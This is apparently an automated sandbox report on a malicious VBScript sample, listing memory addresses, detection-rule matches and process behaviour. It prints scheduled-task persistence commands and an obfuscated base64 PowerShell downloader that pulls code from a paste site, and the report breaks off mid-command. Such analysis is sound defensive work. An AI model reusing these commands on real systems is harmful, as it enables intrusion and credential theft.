Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A53D40	10_2_01A53D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B01D5A	10_2_01B01D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0CB5	10_2_01AF0CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0FCF2	10_2_01B0FCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A40CF2	10_2_01A40CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC9C32	10_2_01AC9C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A50C00	10_2_01A50C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0FFB1	10_2_01B0FFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A51F92	10_2_01A51F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A5CFE0	10_2_01A5CFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A42FC8	10_2_01A42FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A92F28	10_2_01A92F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A70F30	10_2_01A70F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0FF09	10_2_01B0FF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC4F40	10_2_01AC4F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A59EB0	10_2_01A59EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0CE93	10_2_01B0CE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A62E90	10_2_01A62E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0EEDB	10_2_01B0EEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0EE26	10_2_01B0EE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A50E59	10_2_01A50E59
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E7E4F6	12_2_04E7E4F6
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E82446	12_2_04E82446
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DC1460	12_2_04DC1460
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8F43F	12_2_04E8F43F
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E6D5B0	12_2_04E6D5B0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E90591	12_2_04E90591
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E87571	12_2_04E87571
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD0535	12_2_04DD0535
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E816CC	12_2_04E816CC
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DEC6E0	12_2_04DEC6E0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DCC7C0	12_2_04DCC7C0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8F7B0	12_2_04E8F7B0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DF4750	12_2_04DF4750
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD0770	12_2_04DD0770
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E870E9	12_2_04E870E9
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8F0E0	12_2_04E8F0E0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD70C0	12_2_04DD70C0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E7F0CC	12_2_04E7F0CC
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E881CC	12_2_04E881CC
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E901AA	12_2_04E901AA
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DDB1B0	12_2_04DDB1B0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E9B16B	12_2_04E9B16B
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E0516C	12_2_04E0516C
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DBF172	12_2_04DBF172
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DC0100	12_2_04DC0100
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E6A118	12_2_04E6A118
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E712ED	12_2_04E712ED
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DEB2C0	12_2_04DEB2C0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD52A0	12_2_04DD52A0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E70274	12_2_04E70274
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E903E6	12_2_04E903E6
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DDE3F0	12_2_04DDE3F0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E1739A	12_2_04E1739A
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DBD34C	12_2_04DBD34C
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8A352	12_2_04E8A352
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8132D	12_2_04E8132D
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8FCF2	12_2_04E8FCF2
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DC0CF2	12_2_04DC0CF2
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E70CB5	12_2_04E70CB5
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E49C32	12_2_04E49C32
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD0C00	12_2_04DD0C00
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DEFDC0	12_2_04DEFDC0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DCADE0	12_2_04DCADE0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DE8DBF	12_2_04DE8DBF
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E87D73	12_2_04E87D73
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD3D40	12_2_04DD3D40
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E81D5A	12_2_04E81D5A
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DDAD00	12_2_04DDAD00
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8EEDB	12_2_04E8EEDB
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DE2E90	12_2_04DE2E90
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD9EB0	12_2_04DD9EB0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8CE93	12_2_04E8CE93
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD0E59	12_2_04DD0E59
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8EE26	12_2_04E8EE26
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DC2FC8	12_2_04DC2FC8
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DDCFE0	12_2_04DDCFE0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD1F92	12_2_04DD1F92
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8FFB1	12_2_04E8FFB1
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E44F40	12_2_04E44F40
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8FF09	12_2_04E8FF09
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DF0F30	12_2_04DF0F30
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DFE8F0	12_2_04DFE8F0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD38E0	12_2_04DD38E0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DB68B8	12_2_04DB68B8
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD2840	12_2_04DD2840
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DDA840	12_2_04DDA840
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E9A9A6	12_2_04E9A9A6
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD29A0	12_2_04DD29A0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DD9950	12_2_04DD9950
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DEB950	12_2_04DEB950
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DE6962	12_2_04DE6962
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E7DAC6	12_2_04E7DAC6
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E15AA0	12_2_04E15AA0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E6DAAC	12_2_04E6DAAC
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DCEA80	12_2_04DCEA80
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E43A6C	12_2_04E43A6C
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8FA49	12_2_04E8FA49
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E87A46	12_2_04E87A46
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E0DBF9	12_2_04E0DBF9
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E86BD7	12_2_04E86BD7
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04DEFB80	12_2_04DEFB80
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8FB76	12_2_04E8FB76
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04E8AB40	12_2_04E8AB40
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ED2040	12_2_02ED2040
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ECB249	12_2_02ECB249
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ECB200	12_2_02ECB200
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ECD0D0	12_2_02ECD0D0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ECB0B0	12_2_02ECB0B0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ECB1F5	12_2_02ECB1F5
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ED5720	12_2_02ED5720
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ED390E	12_2_02ED390E
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ED3910	12_2_02ED3910
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02ECCEB0	12_2_02ECCEB0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_02EEBE90	12_2_02EEBE90
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CEE6F9	12_2_04CEE6F9
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CEE6F1	12_2_04CEE6F1
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CED7B8	12_2_04CED7B8
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CEE234	12_2_04CEE234
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 12_2_04CEE354	12_2_04CEE354

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 01A3B970 appears 266 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 01A97E54 appears 88 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 01ACF290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 01A85130 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 01ABEA12 appears 84 times
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: String function: 04DBB970 appears 266 times
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: String function: 04E17E54 appears 88 times
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: String function: 04E4F290 appears 105 times
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: String function: 04E05130 appears 36 times
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: String function: 04E3EA12 appears 84 times

Source: PURCHASE OKK.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3769
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3769			Jump to behavior

Source: 8.2.powershell.exe.15d903ef8d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL author = ditekSHen, description = Detects executables (downloaders) containing reversed URLs to raw contents of a paste
Source: 8.2.powershell.exe.15d903ef8d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: Process Memory Space: powershell.exe PID: 7780, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7916, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8040, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 8.2.powershell.exe.15da8710000.3.raw.unpack, h.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.powershell.exe.15da8710000.3.raw.unpack, av.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.powershell.exe.15d903ef8d0.0.raw.unpack, h.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.powershell.exe.15d903ef8d0.0.raw.unpack, av.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.powershell.exe.15da8750000.4.raw.unpack, b.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.powershell.exe.15da8750000.4.raw.unpack, am.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.powershell.exe.15d905607b0.1.raw.unpack, b.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.powershell.exe.15d905607b0.1.raw.unpack, am.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 12.2.iexpress.exe.310a910.0.raw.unpack, TaskParameter.cs	Task registration methods: 'CreateNewTaskItemFrom'
Source: 12.2.iexpress.exe.310a910.0.raw.unpack, OutOfProcTaskHostNode.cs	Task registration methods: 'RegisterTaskObject', 'UnregisterPacketHandler', 'RegisterPacketHandler', 'UnregisterTaskObject', 'GetRegisteredTaskObject'
Source: 12.2.iexpress.exe.310a910.0.raw.unpack, TaskLoader.cs	Task registration methods: 'CreateTask'
Source: 12.2.iexpress.exe.310a910.0.raw.unpack, RegisteredTaskObjectCacheBase.cs	Task registration methods: 'GetLazyCollectionForLifetime', 'RegisterTaskObject', 'DisposeObjects', 'IsCollectionEmptyOrUncreated', 'UnregisterTaskObject', 'DisposeCacheObjects', 'GetRegisteredTaskObject', 'GetCollectionForLifetime'

Source: 20.2.DmMVOWsP1JSI77P.exe.327cd14.1.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 20.2.DmMVOWsP1JSI77P.exe.327cd14.1.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 20.2.DmMVOWsP1JSI77P.exe.327cd14.1.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
Source: 20.2.DmMVOWsP1JSI77P.exe.327cd14.1.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
Source: 20.2.DmMVOWsP1JSI77P.exe.327cd14.1.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.2.iexpress.exe.53bcd14.3.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
Source: 12.2.iexpress.exe.53bcd14.3.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
Source: 12.2.iexpress.exe.53bcd14.3.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.2.iexpress.exe.310a910.0.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
Source: 12.2.iexpress.exe.310a910.0.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
Source: 12.2.iexpress.exe.310a910.0.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.2.iexpress.exe.310a910.0.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 12.2.iexpress.exe.310a910.0.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.2.iexpress.exe.53bcd14.3.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 12.2.iexpress.exe.53bcd14.3.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: iexpress.exe, 0000000C.00000002.2231547950.00000000053BC000.00000004.10000000.00040000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2227220889.000000000310A000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2230655033.000000000327C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.1565665797.000000001EA8C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: .configAMSBUILDDIRECTORYDELETERETRYCOUNTCMSBUILDDIRECTORYDELETRETRYTIMEOUT.sln
Source: iexpress.exe, 0000000C.00000002.2231547950.00000000053BC000.00000004.10000000.00040000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2227220889.000000000310A000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2230655033.000000000327C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.1565665797.000000001EA8C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: MSBuild MyApp.sln /t:Rebuild /p:Configuration=Release
Source: iexpress.exe, 0000000C.00000002.2231547950.00000000053BC000.00000004.10000000.00040000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2227220889.000000000310A000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2230655033.000000000327C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.1565665797.000000001EA8C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb
Source: iexpress.exe, 0000000C.00000002.2231547950.00000000053BC000.00000004.10000000.00040000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2227220889.000000000310A000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2230655033.000000000327C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.1565665797.000000001EA8C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: *.sln
Source: iexpress.exe, 0000000C.00000002.2231547950.00000000053BC000.00000004.10000000.00040000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2227220889.000000000310A000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2230655033.000000000327C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.1565665797.000000001EA8C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: MSBuild MyApp.csproj /t:Clean
Source: iexpress.exe, 0000000C.00000002.2231547950.00000000053BC000.00000004.10000000.00040000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2227220889.000000000310A000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2230655033.000000000327C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.1565665797.000000001EA8C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: /ignoreprojectextensions:.sln
Source: iexpress.exe, 0000000C.00000002.2231547950.00000000053BC000.00000004.10000000.00040000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2227220889.000000000310A000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2230655033.000000000327C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.1565665797.000000001EA8C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: MSBUILD : error MSB1048: Solution files cannot be debugged directly. Run MSBuild first with an environment variable MSBUILDEMITSOLUTION=1 to create a corresponding ".sln.metaproj" file. Then debug that.

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winVBS@21/15@12/9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j33tzyyw.j1n.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PURCHASE OKK.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: iexpress.exe, 0000000C.00000002.2227220889.0000000003195000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2227220889.00000000031B6000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2227220889.00000000031E4000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2227220889.00000000031C1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PURCHASE OKK.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /delete /tn task name /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn task name /tr "C:\Users\user\AppData\Local\Temp\GLPd.vbs" /sc minute /mo minutos
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?Ho?RgBL?GE?QQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?bgBh?EE?ZwBk?GM?V?BH?Cc?I??7?CQ?SQBl?H??RwBR?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?Ds?J?B3?GU?YgBD?Gw?aQBl?G4?d??g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?FI?VgBV?Fg?dg?g?D0?I??k?Hc?ZQBi?EM?b?Bp?GU?bgB0?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?Ho?RgBL?GE?QQ?g?Ck?I??7?CQ?UgBW?FU?W?B2?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BJ?GU?c?BH?FE?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?Cc?VQBU?EY?O??n?C??LQBm?G8?cgBj?GU?I??7?CQ?UwBU?GY?RwBs?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??y?C4?d?B4?HQ?Jw?p?C??Ow?k?F??a?By?Gw?Tg?g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?F??a?By?Gw?Tg?u?EU?bgBj?G8?Z?Bp?G4?Zw?g?D0?I?Bb?FM?eQBz?HQ?ZQBt?C4?V?Bl?Hg?d??u?EU?bgBj?G8?Z?Bp?G4?ZwBd?Do?OgBV?FQ?Rg?4?C??Ow?k?EQ?S?B6?FU?QQ?g?C??PQ?g?Cg?I?BH?GU?d??t?EM?bwBu?HQ?ZQBu?HQ?I??t?F??YQB0?Gg?I??k?Ek?ZQBw?Ec?UQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??PQ?g?CQ?U?Bo?HI?b?BO?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?EQ?S?B6?FU?QQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d